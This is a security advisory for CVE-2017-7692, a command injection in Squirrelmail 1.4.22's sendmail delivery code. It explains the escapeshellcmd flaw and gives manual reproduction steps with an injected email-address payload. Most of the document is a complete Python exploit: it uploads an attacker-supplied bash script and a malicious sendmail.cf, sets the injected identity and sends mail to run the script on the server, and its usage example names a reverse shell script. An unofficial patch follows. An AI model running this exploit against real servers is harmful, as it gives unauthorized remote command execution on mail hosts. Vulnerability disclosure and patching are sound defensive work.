Squirrelmail 1.4.22 Remote Code Execution

`Advisory ID: SGMA17-001  
Title: Squirrelmail Remote Code Execution  
Product: Squirrelmail  
Version: 1.4.22 and probably prior  
Vendor: squirrelmail.org  
Type: Command Injection  
Risk level: 4 / 5  
Credit: [email protected]  
CVE: CVE-2017-7692  
Vendor notification: 2017-04-04  
Vendor fix: N/A  
Public disclosure: 2017-04-19  
  
  
  
  
DETAILS  
  
Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because  
it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to   
execute arbitrary shell commands on the remote server.  
  
The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the   
sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't   
escapes whitespaces allowing the injection of arbitrary command parameters.  
  
$this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";   
$stream = popen(escapeshellcmd($this->sendmail_command), "w");  
  
  
The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an   
attacker-provided configuration file that triggers the execution of an arbitrary command.  
  
In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured  
to use it as commandline (useSendmail directive of the config file set to true).  
Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration.  
  
To reproduce the issue follow these steps:  
1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:  
[...]  
Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,  
T=DNS/RFC822/X-Unix,  
A=X /tmp/executed  
2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)  
3. Go to Options -> Personal Informations and set the following payload as Email Address:  
<[email protected] -OQueueDirectory=/tmp -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>  
4. Send an email  
5. Verify the execution of the command with "ls /tmp/executed" on the remote server  
  
  
  
  
PROOF OF CONCEPT  
  
The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.  
  
BOF  
#!/usr/bin/env python  
# -*- coding: utf-8 -*-   
  
"""  
  
SquirrelMail 1.4.22 Remote Code Execution (authenticated)   
Exploit code for CVE-2017-7692  
[email protected]  
  
"""  
  
from __future__ import unicode_literals  
import sys  
import os  
import re  
import requests  
  
reload(sys)  
sys.setdefaultencoding('utf8')  
  
  
SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"  
COMPOSE = "/src/compose.php"  
INFOS = "/src/options.php?optpage=personal"  
SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"  
# must be enclosed in <> otherwise spaces will be removed ..  
SENDER = "<[email protected] -OQueueDirectory=/tmp -C %s%s>"  
  
  
SESSID = ""  
BASEURL = ""  
  
  
def attach(attachment):  
url = "%s%s" % (BASEURL, COMPOSE)  
token = get_csrf_token(url)  
  
values = {  
"smtoken": token,  
"attach": "add"  
}  
  
try:  
files = {'attachfile': open(attachment,'rb')}  
resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})  
fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text)  
if not fname:  
print "\nError: unable to upload file %s" % attachment  
return fname.group(1)  
  
except Exception as e:  
print "\nError: %s" % e  
sys.exit(1)  
  
  
def send():  
url = "%s%s" % (BASEURL, COMPOSE)  
token = get_csrf_token(url)  
  
values = {  
"smtoken": token,  
"send_to": "root",  
"send": "Send"  
}  
  
try:  
resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})  
except Exception as e:  
print "\nError: %s" % e  
sys.exit(1)  
  
  
def set_identity(sender):  
url = "%s%s" % (BASEURL, INFOS)  
token = get_csrf_token(url)  
values = {  
"smtoken": token,  
"optpage": "personal",  
"optmode": "submit",  
"new_email_address": sender,  
"submit_personal": "Submit"  
}  
  
try:  
requests.post(url, data=values, cookies={'SQMSESSID':SESSID})  
except Exception as e:  
print "\nError: %s" % e  
sys.exit(1)  
  
  
def get_csrf_token(url):  
try:  
body = requests.get(url, cookies={'SQMSESSID':SESSID}).text  
inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)  
token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))  
if token:  
return token.group(1)  
except Exception as e:  
pass  
  
print "\nUnable to get CSRF token"  
sys.exit(1)  
  
def outw(s):  
sys.stdout.write(s)  
sys.stdout.flush()  
  
def main(argv):  
global BASEURL  
global SESSID  
  
if len(argv) != 4:  
print (  
"SquirrelMail 1.4.22 Remote Code Execution (authenticated) - [email protected]\n"  
"The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"  
"Usage:\n"  
" %s <url> <session_id> <script>\n"  
" url: the url of squirrelmail\n"  
" session_id: the value of SQMSESSID cookie\n"  
" script: the path to the bash script to be executed on the target\n"  
"Example:\n"  
" %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"  
) % (argv[0], argv[0])  
  
sys.exit(1)  
  
BASEURL = argv[1]  
SESSID = argv[2]  
script = argv[3]  
  
outw("Uploading script ... ")  
script_fname = attach(script)  
print "ok"  
  
  
outw("Generating sendmail.cf ... ")  
try:  
script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)  
with open(SENDMAILCF, 'w') as f:  
f.write(SENDMAILCF_CONTENT % script_path)  
except Exception as e:  
print "\nError: %s" % e  
sys.exit(1)  
print "ok"  
  
outw("Uploading sendmail.cf ... ")  
smc_fname = attach(SENDMAILCF)  
os.remove(SENDMAILCF)  
print "ok"  
  
outw("Updating user options ... ")  
sender = SENDER % (SQM_ATTACH_PATH, smc_fname)  
set_identity(sender)  
print "ok"  
  
outw("Checking identity field ... ")  
icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text  
if not smc_fname in icheck:  
print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"  
sys.exit(1)  
print "ok"  
  
outw("Executing script ... ")  
send()  
print "ok\n"  
sys.exit(0)  
  
SENDMAILCF_CONTENT = """  
O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile  
Kdequote dequote  
Scanonify=3  
R$@ $@ <@>  
R$* $: $1 <@> mark addresses  
R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr>  
R@ $* <@> $: @ $1 unmark @host:...  
R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr  
R$* :: $* <@> $: $1 :: $2 unmark node::addr  
R:include: $* <@> $: :include: $1 unmark :include:...  
R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon  
R$* : $* <@> $: $2 strip colon if marked  
R$* <@> $: $1 unmark  
R$* ; $1 strip trailing semi  
R$* < $+ :; > $* $@ $2 :; <@> catch <list:;>  
R$* < $* ; > $1 < $2 > bogus bracketed semi  
R$@ $@ :; <@>  
R$* $: < $1 > housekeeping <>  
R$+ < $* > < $2 > strip excess on left  
R< $* > $+ < $1 > strip excess on right  
R<> $@ < @ > MAIL FROM:<> case  
R< $+ > $: $1 remove housekeeping <>  
R@ $+ , $+ $2  
R@ [ $* ] : $+ $2  
R@ $+ : $+ $2  
R $+ : $* ; @ $+ $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax  
R $+ : $* ; $@ $1 : $2; list syntax  
R$+ @ $+ $: $1 < @ $2 > focus on domain  
R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right  
R$+ < @ $+ > $@ $>Canonify2 $1 < @ $2 > already canonical  
R$- ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names  
R$+ . $- ! $+ $@ $>Canonify2 $3 < @ $1 . $2 > domain uucps  
R$+ ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains  
R$* %% $* $1 @ $2 First make them all @s.  
R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last.  
R$* @ $* $@ $>Canonify2 $1 < @ $2 > Insert < > and finish  
R$* $@ $>Canonify2 $1  
SCanonify2=96  
R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all  
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain  
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain  
R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr]  
R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal  
R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr  
Sfinal=4  
R$+ :; <@> $@ $1 : handle <list:;>  
R$* <@> $@ handle <> and list:;  
R$* < @ $+ . > $* $1 < @ $2 > $3  
R$* < @ *LOCAL* > $* $1 < @ $j > $2  
R$* < $+ > $* $1 $2 $3 defocus  
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical  
R@ $* $@ @ $1 ... and exit  
R$+ @ $- . UUCP $2!$1 [email protected] => h!u  
R$+ %% $=w @ $=w $1 @ $2 u%%host@host => u@host  
SRecurse=97  
R$* $: $>canonify $1  
R$* $@ $>parse $1  
Sparse=0  
R$* $: $>Parse0 $1 initial parsing  
R<@> $#local $: <@> special case error msgs  
R$* $: $>ParseLocal $1 handle local hacks  
R$* $: $>Parse1 $1 final parsing  
SParse0  
R<@> $@ <@> special case error msgs  
R$* : $* ; <@> $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"  
R@ <@ $* > < @ $1 > catch "@@host" bogosity  
R<@ $+> $#error $@ 5.1.3 $: "553 User address required"  
R$+ <@> $#error $@ 5.1.3 $: "553 Hostname required"  
R$* $: <> $1  
R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4  
R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4  
R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"  
R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3  
R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "553 Colon illegal in host name part"  
R<> $* $1  
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"  
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"  
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"  
R$* @ $* < @ $* > $* $#error $@ 5.1.3 $: "553 Invalid route address"  
R$* , $~O $* $#error $@ 5.1.3 $: "553 Invalid route address"  
R$* < @ > $* $@ $>Parse0 $>canonify $1 user@ => user  
R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...  
R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here  
R< @ $+ > $#error $@ 5.1.3 $: "553 User address required"  
R$* $=O $* < @ $=w . > $@ $>Parse0 $>canonify $1 $2 $3 ...@here -> ...  
R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo"  
R< @ *LOCAL* > $#error $@ 5.1.3 $: "553 User address required"  
R$* $=O $* < @ *LOCAL* >  
$@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ...  
R$* < @ *LOCAL* > $: $1  
SParse1  
R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec  
R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path  
R$* < @ [ $+ ] : > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send  
R$* < @ [ $+ ] : $- : $*> $* $#$3 $@ $4 $: $1 < @ [$2] > $5 smarthost with mailer  
R$* < @ [ $+ ] : $+ > $* $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer  
R$=L < @ $=w . > $#local $: @ $1 special local names  
R$+ < @ $=w . > $#local $: $1 regular local name  
R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name  
R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 [email protected]  
R$=L $#local $: @ $1 special local names  
R$+ $#local $: $1 regular local names  
SLocal_localaddr  
Slocaladdr=5  
R$+ $: $1 $| $>"Local_localaddr" $1  
R$+ $| $#ok $@ $1 no change  
R$+ $| $#$* $#$2  
R$+ $| $* $: $1  
R$+ + * $#local $@ $&h $: $1  
R$+ + $* $#local $@ + $2 $: $1 + *  
R$+ $: <> $1  
R< > $+ $: < > < $1 <> $&h > nope, restore +detail  
R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail  
R< > < $+ <> $* > $: < > < $1 > else discard  
R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part  
R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +  
R< > < $+ > $@ $1 no +detail  
R$+ $: $1 <> $&h add +detail back in  
R$+ <> + $* $: $1 + $2 check whether +detail  
R$+ <> $* $: $1 else discard  
R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension  
R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension  
R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >  
R< $+ > $+ $@ $>MailerToTriple < $1 > $2 < @ $1 >  
SParseLocal=98  
SEnvFromL  
R<@> $n errors to mailer-daemon  
R@ <@ $*> $n temporarily bypass Sun bogosity  
R$+ $: $>AddDomain $1 add local domain if needed  
R$* $: $>MasqEnv $1 do masquerading  
SEnvToL  
R$+ < @ $* > $: $1 strip host part  
R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type  
R<e s> $+ + $* $: $1 remove +detail for sender  
R< $* > $+ $: $2 else remove mark  
SHdrFromL  
R<@> $n errors to mailer-daemon  
R@ <@ $*> $n temporarily bypass Sun bogosity  
R$+ $: $>AddDomain $1 add local domain if needed  
R$* $: $>MasqHdr $1 do masquerading  
SHdrToL  
R$+ $: $>AddDomain $1 add local domain if needed  
R$* $: $>MasqHdr $1 do all-masquerading  
SAddDomain  
R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified  
R$+ $@ $1 < @ *LOCAL* > add local qualification  
Mlocal, P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,  
T=DNS/RFC822/X-Unix,  
A=X %s  
Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,  
T=X-Unix/X-Unix/X-Unix,  
A=sh -c $u  
  
"""  
  
if __name__ == '__main__':  
main(sys.argv)  
  
EOF  
  
  
  
  
SOLUTION  
  
Since the vendor did not respond to our mails, no official fix is available.   
However, the following unofficial patch can be used to fix this vulnerability.  
  
BOF  
diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php  
--- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php 2011-01-06 02:44:03.000000000 +0000  
+++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php 2017-04-18 11:42:26.505181944 +0000  
@@ -93,9 +93,9 @@  
$envelopefrom = trim($from->mailbox.'@'.$from->host);  
$envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);  
// save executed command for future reference  
- $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";  
+ $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);  
// open process handle for writing  
- $stream = popen(escapeshellcmd($this->sendmail_command), "w");  
+ $stream = popen($this->sendmail_command, "w");  
return $stream;  
}  
EOF  
  
  
  
  
REFERENCES  
  
https://squirrelmail.org/  
https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html  
  
`